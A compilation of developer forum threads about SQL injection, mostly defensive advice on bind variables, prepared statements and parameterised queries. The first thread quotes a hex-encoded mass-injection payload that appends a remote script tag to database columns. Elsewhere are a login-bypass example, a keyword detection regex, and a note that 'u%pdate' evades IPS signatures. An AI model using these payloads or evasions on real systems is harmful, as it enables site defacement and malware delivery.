SQL Injecttion attack

Hi, today i encountered an SQL injection attack when i
recieved an emailin which this error was definbed:
Error: Invalid data 3';DECLARE @S CHAR(4000);SET
@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2F7...
for CFSQLTYPE CF_SQL_NUMERIC.
I googled it and found that it is some new kind of sql
attack.
i am using cfqueryparam in all my queries, will this kind of
attack harm it or not..
Cheers

nightwolf666 wrote:
>
> I googled it and found that it is some new kind of sql
attack.
>
> i am using cfqueryparam in all my queries, will this
kind of attack harm it or
> not..
>
You are safe, if you care there is an extensive discussion on
this over
at House of Fusion.
http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:57065

Similar Messages

SQL Injection Attacks

Any Admins aware of possible SQL "injection" attacks like this?
For example in your web sites login.asp or similar:
select * from users
where uname='%value1%'
and pwd='%value2%'
where %value1% equals "garbage"
and %value2% equals "garbage' or TRUE or '"
select * from users
where uname='garbage'
and pwd='garbage' or TRUE or ''
Useful source of security info:
http://www.nextgenss.com/news.html
Get Oracle Security Patches:
http://otn.oracle.com/deploy/security/alerts.htm
Adeeva.

There was an excellent presentation on this and other database attacks at the recent SEOUC conference in Charlotte. You can see the slides by going to http://www.seouc.org. Select "Presentation Abstracts" from the menu and then choose the keynote address. There were a lot of open jaws in the presentation room.
One technique that we use is to package all SQL used in our websites using bind variables. So the login script you showed would be replaced by a packaged procedure something like this:
PROCEDURE validate_logon (id_in appusers.id%TYPE, pw_in appusers.password%TYPE)
RETURN INTEGER
IS
x INTEGER;
sqlstr := 'select count(*) from appusers where id = :1 and password = :2';
BEGIN
EXECUTE IMMEDIATE sqlstr INTO x USING id_in, pw_in;
RETURN x;
END;
This would return a positive integer (should always be 1) if the validation succeeds and 0 if it fails. They can't easily inject stuff into this. We used packaged dynamic SQL with bind variables for everything. Also, the account that logs onto the database never has access of any kind to the tables or views, only EXECUTE on the procedures.
Nothing is foolproof but at least it makes it harder for them.

SQL Injection attack

After an SQL injection attack I followed the advice to use
cfqueryparam in my cfquery statements. Unfortunatley this does not
seem to have worked as many records in my database have again been
appended with scripts linking to javascript files on another
website.
I haven't coded in Coldfusion in a while and would really
appreciate it if someone could take a look at the code of one of my
pages and let me know if I have missed anything or miss coded the
cfqueryparam tag.
Thanks in advance
Neil

You can add the following code to your application file.

<cfset sqlregex = "
(SELECT\s[\w\*\)$\,\s]+\sFROM\s[\w]+)|
(UPDATE\s[\w]+\sSET\s[\w\,\'\=]+)|
(INSERT\sINTO\s[\d\w]+[\s\w\d$$\,]*\sVALUES\s\([\d\w\'\,$]+)|
(DELETE\sFROM\s[\d\w\'\=]+)|
(DROP\sTABLE\s[\d\w\'\=]+)">

<cfloop collection="#form#" item="formelement">
<cfif isSimpleValue(evaluate(formelement)) AND
refindnocase(sqlregex, "#evaluate(formelement)#")>
<cflocation url="messages.cfm?message=Invalid Input.
Possible SQL Injection attack.">
<cfset StructClear(form)>
<cfabort>
</cfif>
</cfloop>

<cfloop collection="#url#" item="formelement">
<cfif isSimpleValue(evaluate(formelement)) AND
refindnocase(sqlregex, "#evaluate(formelement)#")>
<cflocation url="messages.cfm?message=Invalid Input.
Possible SQL Injection attack.">
<cfset StructClear(url)>
<cfabort>
</cfif>
</cfloop>
Good luck
Mamdoh
P.S: The credit for the script go to sys-con.com

Preventing Sql Injection Attacks

Please see my posting on "Sql Injection" in the Technologies\Security forum. I am interested in preventing sql injection attacks on our server. It was difficult to decide where to post it as it is a security issue but it may be general server issue. Or is it???

It would have helpful if you had either repeated the text of your other post here, or else included a link Sql Injection.
Tom Best posted a link to an interesting sounding paper in Injection Attack. I haven't had the chance to read it yet, but it is probably the best best place to start (as no-one else posted to that thread).
Cheers, APC

Lightswitch Security, Protection against SQL Injection attacks etc.

Hi all,
I have been hunting around for some kind of documentation that explains how Lightwitch handles typical web application vunerabilities such as SQL injection attacks.
In the case of injection attacks it is my understanding the generated code will submit data to the database via names parameters to protect against such things but it would be good to have some official account of how Lightswitch handles relevant OWASP
issues to help provide assurance to businesses that by relying on a framework such as Lightswitch does not introduce security risks.
Is anyone aware of such documentation? I found this but it barely scratches the surface:
http://msdn.microsoft.com/en-us/library/gg481776.aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1
There is this which describes best practices but nothing to say that these practices are adopte within Lightswitch
http://msdn.microsoft.com/en-us/library/gg481776.aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1
Thanks for any help, I am amazed that it is so difficult to find?

LS is a tool built in top of other technologies including Entity Framework.
Here is a security doc about EF.
http://msdn.microsoft.com/en-us/library/vstudio/cc716760(v=vs.100).aspx
LS uses Linq to Entities and therefore is not susceptible to SQL injection.
HTH,
Josh
PS... the only vulnerability that I'm aware of is when a desktop app is deployed as 2-tier instead of 3-tier. In that case, the web.config which contains connection strings is on the client machine, which is a risk. Here is a discussion related
to db security & 2 vs 3-tier.
https://social.msdn.microsoft.com/Forums/vstudio/en-US/93e035e0-0d2e-4405-a717-5b3207b3ccac/can-sql-server-application-roles-be-used-in-conjunction-with-lightswitch?forum=lightswitch

Preventing sql injection attack

string objConn9 = "Provider = MSDAORA;User ID=103109798;Password=password;Data Source=orabis;";
                              OleDbConnection myConnection9 = new OleDbConnection(objConn9);
                              string commandString9 = "INSERT INTO users(username,password)VALUES(:username,:password)";
                              OleDbCommand myCommand9 = new OleDbCommand(commandString9, myConnection9);
                              myCommand9.Parameters.Add(":username", txtUsername.Text);
                              myCommand9.Parameters.Add(":password", txtPassword.Text);
                              myConnection9.Open();
                              myCommand9.ExecuteNonQuery();
                              myConnection9.Close();
i'm using this code to try to remove the problem of
users entering a comma or an semi colon and throwing off my query, but its not working...
is there an easy way to insert text values into oracle 8i
that contain '; etc without throwing it off. I'm developing through c# and oracle 8i, the problem is most of the code examples are related to sql server and vb.net

I may be off here, but in this case you appear to be okay. The code snippet you include looks to me like it is using bind variables. If you are using bind variables you are not susceptible to sql injection attacks.
It is only when concatenating a string together to make a sql statement that injection attacks can occur.
See
http://asktom.oracle.com/pls/ask/f?p=4950:8:::::F4950_P8_DISPLAYID:668624442763#18067076079313
and search for injection.
Or just go to
http://asktom.oracle.com
and search for "sql injection bind variable" for lots of other references.

Sql injection attack - need help changing ASP code

Our web server was attacked yesterday by SQL injection. So I
quickly learned about the holes in the code that was generated by
Dreamweaver MX 2004.
I found the help article on the Adobe website to fix the ASP
code; however I need more information for my particular case. I
don't know how to get my cursor type and location settings into the
new code.
MY ORIGINAL CODE
<%
Dim Recordset1
Dim Recordset1_numRows
Set Recordset1 = Server.CreateObject("ADODB.Recordset")
Recordset1.ActiveConnection = MM_Oncology_STRING
Recordset1.Source = "SELECT * FROM dbo.Oncology_Dir WHERE
Oncology_ID = " + Replace(Recordset1__MMColParam, "'", "''") + ""
Recordset1.CursorType = 0
Recordset1.CursorLocation = 3
Recordset1.LockType = 1
Recordset1.Open()
Recordset1_numRows = 0
%>
THE NEW CODE, WHICH NEEDS TO BE FIXED TO REFLECT CURSOR TYPE
AND LOCATION ABOVE.
<%
Dim Recordset1
Dim Recordset1_cmd
Dim Recordset1_numRows
Set Recordset1_cmd = Server.CreateObject ("ADODB.Command")
Recordset1_cmd.ActiveConnection = MM_Oncology_STRING
Recordset1_cmd.CommandText = "SELECT * FROM dbo.Oncology_Dir
WHERE Oncology_ID = ?"
Recordset1_cmd.Prepared = true
Recordset1_cmd.Parameters.Append
Recordset1_cmd.CreateParameter("param1", 5, 1, -1,
Recordset1__MMColParam) ' adDouble
Set Recordset1 = Recordset1_cmd.Execute
Recordset1_numRows = 0
%>
What exactly is the 5,1,-1 in the code above?
Any help would be very much appreciated as my ASP page
(although secured from SQL injection) is not working properly.
Thanks,
--Jen
--Jen

The new snippet is not vulnerable to SQL injection. It uses a
command
object and actual defined parameters, so you're safe. You
cannot change the
cursor type or location on that object.
"jennday" <[email protected]> wrote in
message
news:f85omh$ngg$[email protected]..
> Our web server was attacked yesterday by SQL injection.
So I quickly
> learned
> about the holes in the code that was generated by
Dreamweaver MX 2004.
> I found the help article on the Adobe website to fix the
ASP code; however
> I
> need more information for my particular case. I don't
know how to get my
> cursor type and location settings into the new code.

Preventing/securing against sql injection attacks

What's the best way to go about trying to secure/prevent from mysql injection attacks.
I guess this is not so good?
$JobTitle = $_POST['JobTitle'];
$sql = 'SELECT * FROM jobs WHERE JobTitle = "'.$JobTitle.'"';
So I'm currently using the mysqli real_escape_string:
$JobTitle = $_POST['JobTitle'];
$JobTitle = $conn->real_escape_string($JobTitle);
$sql = 'SELECT * FROM jobs WHERE JobTitle = "'.$JobTitle.'"';
or I could use:
$sql = 'SELECT * FROM jobs WHERE JobTitle = "$_POST['JobTitle'];"';
but I don't know about the above having not used it at all.
or I could use prepared statements which I dont particularly want to do because they are so long-winded especially when you have about 20 or so rows of data to insert/update into a database table
???????????????????? (ssssssssssssssss) I mean who the **** can keep track of that ****
Is there anything bad about using the below (no user input i.e., $_POST or $_GET)
$date = date('Y-m-d');
$sql = 'SELECT * FROM jobs WHERE jobDate < "'.$date.'"';
Just trying to get a handle on reasonable practices to use, when and where.
Any thoughts
Cheers
Os

Hi Ken,
Thanks for that. It seems as though this area is a bit of a grey one. I've searched just about everywhere and can't find any kind of difinitive answer.
I'm specifically exploring sqli as that is the way ahead now that sql is being dropped from future php releases.
I'm using prepared statements to insert and update the database and boy are they a pita to work with. My eyes can't cope with it....simply ridiculous to have to keep track of the binding method:
??????????????????????? and sssssssssssssssssss
Was looking for something simpler when selecting results to display on a page. Think for now I'll just go with the real_escape_string method and hope it provides some form of security.
$foo = $_POST['foo'];
$foo = $conn->real_escape_string($foo);
I'll just assume there is no risk if a user can't input any data i.e,
$variable = "foo";
SELECT * from table Where id = "'.$variable.'"

Embedded Single Quote in SQL Column truncates Java String

I have a jsp web page that queries a database to see what day a user is registered for and then produces an URL for the user to click on. My problem is that the URL being processed stops when an embedded single quote is encountered.
Here is the database side:
Database side:
Create Table registration
(reg_id int not null,
name varchar2(45) not null,
day_nb int not null);
Insert into registration
(reg_id, name, day_nb)
values (1043,'Johnny''s Diner', 1);
Select name, day_nb from registration
where reg_id = 1043;
name, day_nb
Johnny's Diner 1
Snippet of relevant java code: (JSP page)
<%
int day_nb = rs.getInt("day_nb");
String particpant_name = rs.getString("name");
System.out.println("registration.jsp: particpant_name = " + particpant_name);
%>
<td width="84%">
     <a
     href='<%=response.encodeURL("registrationHandler.jsp?"particpant_name="+ particpant_name + "&day_nb="+ day_nb)%>'><%=particpant_name%>
                              </a>
                         </td>
{code}
The following is printed to System.Out:
registration.jsp: particpant_name = Johnny's Diner
The code produces the following URL
http://www.mycompany.com/registrationHandler.jsp?particpant_name=Johnny
The response.encodeURL is stopping on the single quote contained in "Johnny's Diner"
The URL I want is:
http://www.mycompany.com/registrationHandler.jsp?particpant_name=Johnny's Diner&day_nb=1
How do I account for the embedded single quote so the code works properly? Thanks In Advance!

You really need to read up on [SQL Injection|http://en.wikipedia.org/wiki/SQL_injection] and [XSS/Cross-Site Scripting|http://de.wikipedia.org/wiki/Cross-Site_Scripting]. Both present massive security problems and your code seems prone to easily producing both.
For SQL Injection attacks the correct solution is to always use PreparedStatements with only hard-coded String (i.e. never use String concatenation to build SQL statements).
For XSS attacks the solution is a bit harder, but basically you need to learn never to trust user input (that includes user input that you've previously stored in the database!) and always escape what the user sent when you print it back out.

SQL Injection, replace single quote with two single quotes?

Is replacing a single quote with two single quotes adequate
for eliminating
SQL injection attacks? This article (
http://www.devguru.com/features/kb/kb100206.asp
) offers that advice, and it
enabled me to allow users to search name fields in the
database that contain
single quotes.
I was advised to use "Paramaterized SQL" in an earlier post,
but I can't
understand the concept behind that method, and whether it
applies to
queries, writes, or both.

Then you can use both stored procedures and prepared
statements.
Both provide better protection than simply replacing
apostrophes.
Prepared statements are simple:
Set myCommand = Server.CreateObject("ADODB.Command")
...snip...
myCommand.CommandText = "INSERT INTO Users([Name], [Email])
VALUES (?, ?)"
...snip...
myCommand.Parameters.Append
myCommand.CreateParameter("@Name",200,1,50,Name)
myCommand.Parameters.Append
myCommand.CreateParameter("@Email",200,1,50,Email)
myCommand.Execute ,,128 'the ,,128 sets execution flags that
tell ADO not to
look for rows to be returned. This saves the expense of
creating a
recordset object you don't need.
Stored procedures are executed in a similar manner. DW can
help you with a
stored procedure through the "Command (Stored Procedure)"
server behavior.
You can see a full example of a prepared statement by looking
at DW's
recordset code after you've created a recordset using version
8.02.
"Mike Z" <[email protected]> wrote in message
news:eo5idq$3qr$[email protected]..
>I should have repeated this, I am using VBScript in ASP,
with an Access DB.
>

SQL Injection on CallableStatement

I will try to post this all in one line, as the tags are not working today. I know that one should use PreparedStatement over Statement to obviate the thread of a SQL injection attack. Is CallableStatement vulnerable as well? For reference, this would be running against an Oracle RDBMS. Thanks!
- Saish

I guess there is no hard-and-fast rule.Well, I guess the hard and fast rule is "only use
bound variables". If you've got a sane database
design then that shouldn't cause you any problems.
Dave.I agree. I was approaching the issue mainly from a security perspective in locking down a legacy system against SQL injection attacks. Using Eclipse, I was able to zero-in on usages of Statement fairly easily. But the more I looked into CallableStatement, the more I realized that I woud have to inspect each invocation manually. (Just in case someone did not bind variables or built a dynamic SQL string).
- Saish

Best practise for creating an application that connects to a SQL Server database

I have created an application that connects to a SQL Server database and views information using a datagrid and performs several updates when a button
is selected.
I have created a SQLcontrol.vb using the following code:
Imports System.Data.Sql
Imports System.Data.SqlClient
Public Class SQlControl
'connection 1
    Public SQLCon As New SqlConnection With {.ConnectionString
= "Data Source=;Initial Catalog=;Integrated Security=True"}
'connection 2
    Public SQLCon1 As New SqlConnection With {.ConnectionString
= "Data Source;Initial Catalog=;Integrated Security=True"}
    Public sqlcmd As SqlCommand
    Public sqlda As SqlDataAdapter
    Public sqldataset As DataSet
    Public Function hasconnection() As Boolean
        Try
            SQLCon.open()
            SQLCon.close()
            Return True
        Catch ex As Exception
            MsgBox(ex.Message)
            Return False
        End Try
    End Function
    Public Sub runquery(query As String)
        Try
            SQLCon.Open()
            sqlcmd = New SqlCommand(query,
SQLCon)
            'LOAD
SQL RECORDS FOR DATAGROD
            sqlda = New SqlDataAdapter(sqlcmd)
            sqldataset = New DataSet
            sqlda.Fill(sqldataset)
BH READ DIRECTLY FROM THE DATABASE
            'Dim
R As SqlDataReader = sqlcmd.ExecuteReader
            'While
R.Read
            'MsgBox(R.GetName(0)
& ": " & R(0))
            'End
While
            SQLCon.Close()
        Catch ex As Exception
            MsgBox(ex.Message)
            'will
close connection if still open
            If SQLCon.State
= ConnectionState.Open Then
                SQLCon.Close()
            End If
        End Try
    End Sub
    Public Sub runquery1(query As String)
        Try
            SQLCon1.Open()
            sqlcmd = New SqlCommand(query,
SQLCon1)
            'LOAD
SQL RECORDS FOR DATAGROD
            sqlda = New SqlDataAdapter(sqlcmd)
            sqldataset = New DataSet
            sqlda.Fill(sqldataset)
BH READ DIRECTLY FROM THE DATABASE
            'Dim
R As SqlDataReader = sqlcmd.ExecuteReader
            'While
R.Read
            'MsgBox(R.GetName(0)
& ": " & R(0))
            'End
While
            SQLCon1.Close()
        Catch ex As Exception
            MsgBox(ex.Message)
            'will
close connection if still open
            If SQLCon1.State
= ConnectionState.Open Then
                SQLCon1.Close()
            End If
        End Try
    End Sub
End Class
A code for one of my button which views displays data grid contains the following code:
Private Sub Button1_Click_1(sender As Object,
e As EventArgs) Handles Button1.Click
        If SQL.hasconnection
= True Then
            SQL.runquery("select
* from tablea")
            If SQL.sqldataset.Tables.Count
> 0 Then
                DGVData.DataSource = SQL.sqldataset.Tables(0)
            End If
        End If
    End Sub
I am fairly new to vb.net and have read a few books and followed a few tutorials on youtube, what I would like to know is, are there any disadvantages
to the way I have connected to a SQL database using the SQLControl.vb. A lot of the vb books include data adapter and dataset within the form, I'm not sure if I'm following best practice by have the connection details outside of the form.
My other question is, I have created two connections in the SQLControl and call these connections within the same form using the same data adapter
and dataset. It all works fine but I just wanted to know of any potential issues?
Public SQLCon As New SqlConnection With {.ConnectionString
= "Data Source=;Initial Catalog=;Integrated Security=True"}
'connection 2
    Public SQLCon1 As New SqlConnection With {.ConnectionString
= "Data Source;Initial Catalog=;Integrated Security=True"}
Thanks

My other question is, I have created two connections in the SQLControl and call these connections within the same form using the same data adapter and dataset. It all works fine but
I just wanted to know of any potential issues
1) You are not using Sepration of concerns for a solution that is doing data access, like using a DAL.
http://en.wikipedia.org/wiki/Separation_of_concerns
2) You are directly issuing SQL commands at the UI, leading to sql injection attacks.
3) You are not using a UI design pattern, which leads you to tightly couple database activity to the UI.
http://www.codeproject.com/Articles/228214/Understanding-Basics-of-UI-Design-Pattern-MVC-MVP
@System243trd, parameters are important to prevent SQL injection attacks (people will insert SQL commands into the database if you do not perform basic checking of what you are passing to the database). If you write a stored procedure try to make
the variables the correct SQL server data type to avoid problems later of people trying to call it directly.  Darnold924 is right, I see no code to prevent against SQL injection attacks. In addition, during development in some instances LocalSQLDB
database system is used and during deployment you usually need to use the production SQL server database. Moreover, Linq-to-SQL is used on Windows Phone 8.1 and it is required for phone development later and so I highly recommend learning
it if you plan on developing windows phone applications.
@System243trd, If you want the code for the windows phone app I think it uses the MVVM model or that might be for universal apps or regular windows phone apps. I have been using the windows phone Silverlight pivot or panorama template (it might
be pieces of both). I've already submitted to the windows phone marketplace and it had to go through certification first. I plan on later making an article on it but I need to first fix one or two simple problems I have with it. Here's a link to
the source code if you later want to look at the source code (in vb.net):
https://jeffsblogcodesamples.codeplex.com/downloads/get/1445836
Once you eliminate the impossible, whatever remains, no matter how improbable, must be the truth. - Sherlock Holmes. speak softly and carry a big stick - theodore roosevelt. Fear leads to anger, anger leads to hate, hate leads to suffering - Yoda. Blog
- http://www.computerprofessions.us

How to insert date into ms access database using sql query in servlet

sir all thing is working well now only tell me how we can insert date into ms access database which is input by user .
insert into db2(bookname,studentname,date) values('"+bname+"','"+sname+"',date_format)";{code}
or either the system date is inserted with query .
plz help me
thanx

bhavishya wrote:
sir all thing is working well now only tell me how we can insert date into ms access database which is input by user .
insert into db2(bookname,studentname,date) values('"+bname+"','"+sname+"',date_format)";{code}
or either the system date is inserted with query .
plz help me
thanxAnd that SQL statement is another reason to use PreparedStatement. I assume bname and sname are input from some form? Well, if that's the case, simply inserting them into SQL by simple String concatenation is just begging for all sorts of problems. What if there is an apostrophe in the entry? Broken Statement. Worse, it's a wide open invitation to an SQL Injection attack.

Sql injection

What is SQL Injection?
SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first.
An attack against a database using SQL Injection could be motivated by two primary objectives:
1. To steal data from a database from which the data should not normally be available, or to obtain system configuration data that would allow an attack profile to be built. One example of the latter would be obtaining all of the database password hashes so that passwords can be brute-forced.
2. To gain access to an organisation’s host computers via the machine hosting the database. This can be done using package procedures and 3GL language extensions that allow O/S access.
There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.
* JSP
* ASP
* XML, XSL and XSQL
* Javascript
* VB, MFC, and other ODBC-based tools and APIs
* Portal, the older WebDB, and other Oracle Web-based applications and API’s
* Reports, discoverer, Oracle Applications
* 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL
* Perl and CGI scripts that access Oracle databases
* many more.
Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible.
The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not.
While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users.
Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:
1. Audit the application code and change or remove the problems that allow injection to take place. (These problems will be discussed at greater length in the second part of this series.)
2. Enforce the principle of least privilege at the database level so that even if someone is able to SQL inject an application to steal data, they cannot see anymore data than the designer intended through any normal application interface.
The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications.
[http://www.securityfocus.com/infocus/1644]
how oracle prevent sql injections?

mango_boy wrote:
damorgan wrote:
And they do so using bind variables
http://www.morganslibrary.org/reference/bindvars.html
and DBMS_ASSERT
http://www.morganslibrary.org/reference/dbms_assert.html
do you have any suggestion for mysql users??Yes. Install Oracle.

Sql injection update signature

hi,
we are currently comparing cisco ips to tippingpoint, i have a cisco ips in front and tippingpoint in the back, so we are checking if cisco ips is missing on a lot of stuff , and currently it is missing on SQL injection attacks and cross scripting, which seems to be the weak point in cisco ips, its missing a lot on sql injection signatures, i mean why a simple update/set command does not have a signature ?

Thank you for your reply, do you know how to get in contact with the ips signature engineers at Cisco , i would like to share my comparaison with them as well as an attack that is passing all sql injection signature containing update but with u%pdate and the sql database is interpreting it as a normal update.

SQL Injecttion attack

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